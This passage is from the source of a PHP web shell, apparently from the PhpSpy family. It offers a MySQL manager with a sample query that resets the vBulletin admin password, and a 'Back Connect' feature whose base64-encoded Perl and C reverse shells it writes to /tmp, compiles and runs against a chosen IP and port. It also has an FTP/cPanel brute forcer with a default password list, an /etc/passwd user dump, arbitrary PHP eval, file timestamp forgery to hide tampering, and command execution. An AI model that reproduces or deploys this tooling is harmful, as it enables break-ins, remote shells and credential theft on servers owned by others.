787 $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
788 }
789 if(isset($dbpass)) {
790 $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
791 }
792 if(isset($dbport)) {
793 $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
794 }
795 if(isset($dbname)) {
796 $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
797 }
798 if(isset($charset)) {
799 $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
800 }
801
802 if ($doing == 'backupmysql' && $saveasfile) {
803 if (!$table) {
804 m('Please choose the table');
805 } else {
806 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
807 $table = array_flip($table);
808 $fp = @fopen($path,'w');
809 if ($fp) {
810 $result = q('SHOW tables');
811 if (!$result) p('<h2>'.mysql_error().'</h2>');
812 $mysqldata = '';
813 while ($currow = mysql_fetch_array($result)) {
814 if (isset($table[$currow[0]])) {
815 sqldumptable($currow[0], $fp);
816 }
817 }
818 fclose($fp);
819 $fileurl = str_replace(SA_ROOT,'',$path);
820 m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
821 mysql_close();
822 } else {
823 m('Backup failed');
824 }
825 }
826 }
827 if ($insert && $insertsql) {
828 $keystr = $valstr = $tmp = '';
829 foreach($insertsql as $key => $val) {
830 if ($val) {
831 $keystr .= $tmp.$key;
832 $valstr .= $tmp."'".addslashes($val)."'";
833 $tmp = ',';
834 }
835 }
836 if ($keystr && $valstr) {
837 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
838 m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
839 }
840 }
841 if ($update && $insertsql && $base64) {
842 $valstr = $tmp = '';
843 foreach($insertsql as $key => $val) {
844 $valstr .= $tmp.$key."='".addslashes($val)."'";
845 $tmp = ',';
846 }
847 if ($valstr) {
848 $where = base64_decode($base64);
849 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
850 m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
851 }
852 }
853 if ($doing == 'del' && $base64) {
854 $where = base64_decode($base64);
855 $delete_sql = "DELETE FROM $tablename WHERE $where";
856 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
857 m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
858 }
859
860 if ($tablename && $doing == 'drop') {
861 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
862 if (q("DROP TABLE $tablename")) {
863 m('Drop table of success');
864 $tablename = '';
865 } else {
866 m(mysql_error());
867 }
868 }
869
870 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
871
872 formhead(array('title'=>'MYSQL Manager'));
873 makehide('action','sqladmin');
874 p('<p>');
875 p('DBHost:');
876 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
877 p(':');
878 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
879 p('DBUser:');
880 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
881 p('DBPass:');
882 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
883 p('DBCharset:');
884 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
885 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
886 p('</p>');
887 formfoot();
888?>
889<script type="text/javascript">
890function editrecord(action, base64, tablename){
891 if (action == 'del') {
892 if (!confirm('Is or isn\'t deletion record?')) return;
893 }
894 $('recordlist').doing.value=action;
895 $('recordlist').base64.value=base64;
896 $('recordlist').tablename.value=tablename;
897 $('recordlist').submit();
898}
899function moddbname(dbname) {
900 if(!dbname) return;
901 $('setdbname').dbname.value=dbname;
902 $('setdbname').submit();
903}
904function settable(tablename,doing,page) {
905 if(!tablename) return;
906 if (doing) {
907 $('settable').doing.value=doing;
908 }
909 if (page) {
910 $('settable').page.value=page;
911 }
912 $('settable').tablename.value=tablename;
913 $('settable').submit();
914}
915</script>
916<?php
917 // SQL
918 formhead(array('name'=>'recordlist'));
919 makehide('doing');
920 makehide('action','sqladmin');
921 makehide('base64');
922 makehide('tablename');
923 p($dbform);
924 formfoot();
925
926 // Data
927 formhead(array('name'=>'setdbname'));
928 makehide('action','sqladmin');
929 p($dbform);
930 if (!$dbname) {
931 makehide('dbname');
932 }
933 formfoot();
934
935
936 formhead(array('name'=>'settable'));
937 makehide('action','sqladmin');
938 p($dbform);
939 makehide('tablename');
940 makehide('page',$page);
941 makehide('doing');
942 formfoot();
943
944 $cachetables = array();
945 $pagenum = 30;
946 $page = intval($page);
947 if($page) {
948 $start_limit = ($page - 1) * $pagenum;
949 } else {
950 $start_limit = 0;
951 $page = 1;
952 }
953 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
954 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
955 // get mysql server
956 $mysqlver = mysql_get_server_info();
957 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
958 $highver = $mysqlver > '4.1' ? 1 : 0;
959
960 // Show database
961 $query = q("SHOW DATABASES");
962 $dbs = array();
963 $dbs[] = '-- Select a database --';
964 while($db = mysql_fetch_array($query)) {
965 $dbs[$db['Database']] = $db['Database'];
966 }
967 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
968 $tabledb = array();
969 if ($dbname) {
970 p('<p>');
971 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
972 if ($tablename) {
973 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
974 }
975 p('</p>');
976 mysql_select_db($dbname);
977
978 $getnumsql = '';
979 $runquery = 0;
980 if ($sql_query) {
981 $runquery = 1;
982 }
983 $allowedit = 0;
984 if ($tablename && !$sql_query) {
985 $sql_query = "SELECT * FROM $tablename";
986 $getnumsql = $sql_query;
987 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
988 $allowedit = 1;
989 }
990 p('<form action="'.$self.'" method="POST">');
991 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database <font color=red><b>'.$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>admin</font><BR><font color=yellow>UPDATE `user` SET `password` = \'b47ffb464ba6fa6454c343cc604eec1d\', salt = \'p5T\' WHERE `userid` = \'1\' </font>
992 </td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
993 makehide('tablename', $tablename);
994 makehide('action','sqladmin');
995 p($dbform);
996 p('</form>');
997 if ($tablename || ($runquery && $sql_query)) {
998 if ($doing == 'structure') {
999 $result = q("SHOW COLUMNS FROM $tablename");
1000 $rowdb = array();
1001 while($row = mysql_fetch_array($result)) {
1002 $rowdb[] = $row;
1003 }
1004 p('<table border="0" cellpadding="3" cellspacing="0">');
1005 p('<tr class="head">');
1006 p('<td>Field</td>');
1007 p('<td>Type</td>');
1008 p('<td>Null</td>');
1009 p('<td>Key</td>');
1010 p('<td>Default</td>');
1011 p('<td>Extra</td>');
1012 p('</tr>');
1013 foreach ($rowdb as $row) {
1014 $thisbg = bg();
1015 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1016 p('<td>'.$row['Field'].'</td>');
1017 p('<td>'.$row['Type'].'</td>');
1018 p('<td>'.$row['Null'].' </td>');
1019 p('<td>'.$row['Key'].' </td>');
1020 p('<td>'.$row['Default'].' </td>');
1021 p('<td>'.$row['Extra'].' </td>');
1022 p('</tr>');
1023 }
1024 tbfoot();
1025 } elseif ($doing == 'insert' || $doing == 'edit') {
1026 $result = q('SHOW COLUMNS FROM '.$tablename);
1027 while ($row = mysql_fetch_array($result)) {
1028 $rowdb[] = $row;
1029 }
1030 $rs = array();
1031 if ($doing == 'insert') {
1032 p('<h2>Insert new line in '.$tablename.' table »</h2>');
1033 } else {
1034 p('<h2>Update record in '.$tablename.' table »</h2>');
1035 $where = base64_decode($base64);
1036 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
1037 $rs = mysql_fetch_array($result);
1038 }
1039 p('<form method="post" action="'.$self.'">');
1040 p($dbform);
1041 makehide('action','sqladmin');
1042 makehide('tablename',$tablename);
1043 p('<table border="0" cellpadding="3" cellspacing="0">');
1044 foreach ($rowdb as $row) {
1045 if ($rs[$row['Field']]) {
1046 $value = htmlspecialchars($rs[$row['Field']]);
1047 } else {
1048 $value = '';
1049 }
1050 $thisbg = bg();
1051 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1052 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
1053 }
1054 if ($doing == 'insert') {
1055 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
1056 } else {
1057 p('<tr class="fout"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
1058 makehide('base64', $base64);
1059 }
1060 p('</table></form>');
1061 } else {
1062 $querys = @explode(';',$sql_query);
1063 foreach($querys as $num=>$query) {
1064 if ($query) {
1065 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
1066 switch(qy($query))
1067 {
1068 case 0:
1069 p('<h2>Error : '.mysql_error().'</h2>');
1070 break;
1071 case 1:
1072 if (strtolower(substr($query,0,13)) == 'select * from') {
1073 $allowedit = 1;
1074 }
1075 if ($getnumsql) {
1076 $tatol = mysql_num_rows(q($getnumsql));
1077 $multipage = multi($tatol, $pagenum, $page, $tablename);
1078 }
1079 if (!$tablename) {
1080 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
1081 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
1082 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
1083 $tablename = $matches[1][0];
1084 }
1085 $result = q($query);
1086 p($multipage);
1087 p('<table border="0" cellpadding="3" cellspacing="0">');
1088 p('<tr class="head">');
1089 if ($allowedit) p('<td>Action</td>');
1090 $fieldnum = @mysql_num_fields($result);
1091 for($i=0;$i<$fieldnum;$i++){
1092 $name = @mysql_field_name($result, $i);
1093 $type = @mysql_field_type($result, $i);
1094 $len = @mysql_field_len($result, $i);
1095 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1096 }
1097 p('</tr>');
1098 while($mn = @mysql_fetch_assoc($result)){
1099 $thisbg = bg();
1100 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1101 $where = $tmp = $b1 = '';
1102 foreach($mn as $key=>$inside){
1103 if ($inside) {
1104 $where .= $tmp.$key."='".addslashes($inside)."'";
1105 $tmp = ' AND ';
1106 }
1107 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1108 }
1109 $where = base64_encode($where);
1110 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1111 p($b1);
1112 p('</tr>');
1113 unset($b1);
1114 }
1115 tbfoot();
1116 p($multipage);
1117 break;
1118 case 2:
1119 $ar = mysql_affected_rows();
1120 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1121 break;
1122 }
1123 }
1124 }
1125 }
1126 } else {
1127 $query = q("SHOW TABLE STATUS");
1128 $table_num = $table_rows = $data_size = 0;
1129 $tabledb = array();
1130 while($table = mysql_fetch_array($query)) {
1131 $data_size = $data_size + $table['Data_length'];
1132 $table_rows = $table_rows + $table['Rows'];
1133 $table['Data_length'] = sizecount($table['Data_length']);
1134 $table_num++;
1135 $tabledb[] = $table;
1136 }
1137 $data_size = sizecount($data_size);
1138 unset($table);
1139 p('<table border="0" cellpadding="0" cellspacing="0">');
1140 p('<form action="'.$self.'" method="POST">');
1141 makehide('action','sqladmin');
1142 p($dbform);
1143 p('<tr class="head">');
1144 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1145 p('<td>Name</td>');
1146 p('<td>Rows</td>');
1147 p('<td>Data_length</td>');
1148 p('<td>Create_time</td>');
1149 p('<td>Update_time</td>');
1150 if ($highver) {
1151 p('<td>Engine</td>');
1152 p('<td>Collation</td>');
1153 }
1154 p('</tr>');
1155 foreach ($tabledb as $key => $table) {
1156 $thisbg = bg();
1157 p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
1158 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1159 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1160 p('<td>'.$table['Rows'].'</td>');
1161 p('<td>'.$table['Data_length'].'</td>');
1162 p('<td>'.$table['Create_time'].'</td>');
1163 p('<td>'.$table['Update_time'].'</td>');
1164 if ($highver) {
1165 p('<td>'.$table['Engine'].'</td>');
1166 p('<td>'.$table['Collation'].'</td>');
1167 }
1168 p('</tr>');
1169 }
1170 p('<tr class=fout>');
1171 p('<td> </td>');
1172 p('<td>Total tables: '.$table_num.'</td>');
1173 p('<td>'.$table_rows.'</td>');
1174 p('<td>'.$data_size.'</td>');
1175 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1176 p('</tr>');
1177
1178 p("<tr class=\"fout\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1179 makehide('doing','backupmysql');
1180 formfoot();
1181 p("</table>");
1182 fr($query);
1183 }
1184 }
1185 }
1186 tbfoot();
1187 @mysql_close();
1188}//end sql backup
1189
1190
1191elseif ($action == 'backconnect') {
1192 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1193 !$yourport && $yourport = '12345';
1194 $usedb = array('perl'=>'perl','c'=>'c');
1195
1196 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1197 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1198 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1199 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1200 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1201 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1202 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1203 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1204 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1205 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1206 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1207 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1208 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1209 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1210 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1211
1212 if ($start && $yourip && $yourport && $use){
1213 if ($use == 'perl') {
1214 cf('/tmp/angel_bc',$back_connect);
1215 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1216 } else {
1217 cf('/tmp/angel_bc.c',$back_connect_c);
1218 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1219 @unlink('/tmp/angel_bc.c');
1220 $res = execute("/tmp/angel_bc $yourip $yourport &");
1221 }
1222 m("Now script try connect to $yourip port $yourport ...");
1223 }
1224
1225 formhead(array('title'=>'Back Connect'));
1226 makehide('action','backconnect');
1227 p('<p>');
1228 p('Your IP:');
1229 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1230 p('Your Port:');
1231 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1232 p('Use:');
1233 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1234 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1235 p('</p>');
1236 formfoot();
1237}//end backconnect window via NC
1238
1239// Brute
1240elseif ($action == 'brute') {
1241formhead(array('title'=>'Brute Forcer'));
1242 makehide('action','brute');
1243 makehide('dir',$brute);
1244@ini_set('memory_limit', 1000000000000);
1245$connect_timeout=5;
1246@set_time_limit(0);
1247$submit = $_REQUEST['submit'];
1248$users = $_REQUEST['users'];
1249$pass = $_REQUEST['passwords'];
1250$target = $_REQUEST['target'];
1251$option = $_REQUEST['option'];
1252
1253
1254$passlist = "0123456
125501234567
1256012345678
12570123456789
125801234567890
1259123456
12601234567
126112345678
1262123456789
12631234567890
1264111111
1265000000
1266222222
1267333333
1268444444
1269555555
1270666666
1271777777
1272888888
1273999999
1274123123
1275456456
1276789789
1277123321
1278456654
1279654321
12807654321
128187654321
1282987654321
12830987654321
1284admin
1285administrator
1286admincp
1287cpanel
1288adminx
1289admins
1290password
1291passwords
1292passw0rd
1293p@ssw0rd
1294p@ssword
1295khongco
129625251325
1297passw0rds";
1298if($target == ''){
1299$target = 'localhost';
1300}
1301print " <div align='center'>
1302<form method='post' style='border: 1px solid #000000'><br><br>
1303<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>
1304<b> Target : </font><input type='text' name='target' size='16' value= $target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>
1305<div align='center'><br>
1306<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>
1307<tr>
1308<td align='center'>
1309<b>Username</b></td>
1310<td>
1311<p align='center'>
1312<b>Password</b></td>
1313</tr>
1314</table>
1315<p align='center'>
1316<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>";
1317$i = 0;
1318while ($i < 60000) {
1319
1320 $line = posix_getpwuid($i);
1321 if (!empty($line)) {
1322
1323 while (list ($key, $vba_etcpwd) = each($line)){
1324 echo "".$vba_etcpwd."\n";
1325 break;
1326 }
1327
1328 }
1329
1330 $i++;
1331}
1332echo "
1333</textarea>
1334<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>$passlist</textarea><br>
1335<br>
1336<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel
1337<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>
1338</td></tr></table></td></tr></form><p align= 'left'>";
1339?>
1340<?php
1341function ftp_check($host,$user,$pass,$timeout){
1342$ch = curl_init();
1343curl_setopt($ch, CURLOPT_URL, "ftp://$host");
1344curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1345curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1346curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
1347curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1348curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1349curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1350$data = curl_exec($ch);
1351if ( curl_errno($ch) == 28 ) {
1352
1353print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1354exit;}
1355
1356elseif ( curl_errno($ch) == 0 ){
1357
1358p("<b>[ bugs.find3r@gmail.com ]# </b>
1359<b> Attacking has been done! Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font> => <a href=http://$user:$pass@$host:2082 target=_blank>Login</a></b><br>");
1360}
1361curl_close($ch);}
1362
1363function cpanel_check($host,$user,$pass,$timeout){
1364$ch = curl_init();
1365curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
1366curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
1367curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
1368curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
1369curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
1370curl_setopt($ch, CURLOPT_FAILONERROR, 1);
1371$data = curl_exec($ch);
1372if ( curl_errno($ch) == 28 ) {
1373print "<b> Error : Connection timed out , make confidence about validation of target !</b>";
1374exit;}
1375elseif ( curl_errno($ch) == 0 ){
1376
1377p("<b>[ nguyenhoanghung0408@gmail.com ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> $user </font> / Password:<font color='#FF0000'> $pass </font></b><br>");}curl_close($ch);}
1378
1379if(isset($submit) && !empty($submit)){
1380
1381$userlist = explode ("\n" , $users );
1382$passlist = explode ("\n" , $pass );
1383p('<b>[ bugs.find3r@gmail.com ]# Attacking ...</font></b><br>');
1384foreach ($userlist as $user) {
1385$_user = trim($user);
1386foreach ($passlist as $password ) {
1387$_pass = trim($password);
1388if($option == "ftp"){
1389ftp_check($target,$_user,$_pass,$connect_timeout);
1390}
1391if ($option == "cpanel")
1392{
1393cpanel_check($target,$_user,$_pass,$connect_timeout);
1394}
1395}
1396}
1397}
1398
1399 formfoot();
1400}
1401
1402
1403
1404
1405
1406
1407elseif ($action == 'etcpwd') {
1408formhead(array('title'=>'Get /etc/passwd'));
1409 makehide('action','etcpwd');
1410 makehide('dir',$nowpath);
1411$i = 0;
1412 echo "<p><br><textarea class=\"area\" id=\"phpcodexxx\" name=\"phpcodexxx\" cols=\"100\" rows=\"25\">";
1413while ($i < 60000) {
1414
1415 $line = posix_getpwuid($i);
1416 if (!empty($line)) {
1417
1418 while (list ($key, $vba_etcpwd) = each($line)){
1419 echo "".$vba_etcpwd."\n";
1420 break;
1421 }
1422
1423 }
1424
1425 $i++;
1426}
1427 echo "</textarea></p>";
1428 formfoot();
1429}
1430
1431elseif ($action == 'eval') {
1432 $phpcode = trim($phpcode);
1433 if($phpcode){
1434 if (!preg_match('#<\?#si', $phpcode)) {
1435 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1436 }
1437 eval("?".">$phpcode<?");
1438 }
1439 formhead(array('title'=>'Eval PHP Code'));
1440 makehide('action','eval');
1441 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1442 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1443 formfooter();
1444}//end eval
1445
1446elseif ($action == 'editfile') {
1447 if(file_exists($opfile)) {
1448 $fp=@fopen($opfile,'r');
1449 $contents=@fread($fp, filesize($opfile));
1450 @fclose($fp);
1451 $contents=htmlspecialchars($contents);
1452 }
1453 formhead(array('title'=>'Create / Edit File'));
1454 makehide('action','file');
1455 makehide('dir',$nowpath);
1456 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1457 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1458 formfooter();
1459}//end editfile
1460
1461elseif ($action == 'newtime') {
1462 $opfilemtime = @filemtime($opfile);
1463 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1464 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1465 formhead(array('title'=>'Clone file was last modified time'));
1466 makehide('action','file');
1467 makehide('dir',$nowpath);
1468 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1469 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1470 formfooter();
1471 formhead(array('title'=>'Set last modified'));
1472 makehide('action','file');
1473 makehide('dir',$nowpath);
1474 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1475 p('<p>Instead »');
1476 p('year:');
1477 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1478 p('month:');
1479 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1480 p('day:');
1481 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1482 p('hour:');
1483 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1484 p('minute:');
1485 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1486 p('second:');
1487 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1488 p('</p>');
1489 formfooter();
1490}//end newtime
1491
1492elseif ($action == 'shell') {
1493 if (IS_WIN && IS_COM) {
1494 if($program && $parameter) {
1495 $shell= new COM('Shell.Application');
1496 $a = $shell->ShellExecute($program,$parameter);
1497 m('Program run has '.(!$a ? 'success' : 'fail'));
1498 }
1499 !$program && $program = 'c:\windows\system32\cmd.exe';
1500 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1501 formhead(array('title'=>'Execute Program'));
1502 makehide('action','shell');
1503 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1504 p('<p>');
1505 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1506 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1507 p('</p>');
1508 formfoot();
1509 }
1510 formhead(array('title'=>'Execute Command'));
1511 makehide('action','shell');
1512 if (IS_WIN && IS_COM) {
1513 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1514 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1515 }
1516 p('<p>');
1517 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1518 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1519 p('</p>');
1520 formfoot();
1521
1522 if ($command) {
1523 p('<hr width="100%" noshade /><pre>');
1524 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1525 $wsh = new COM('WScript.shell');
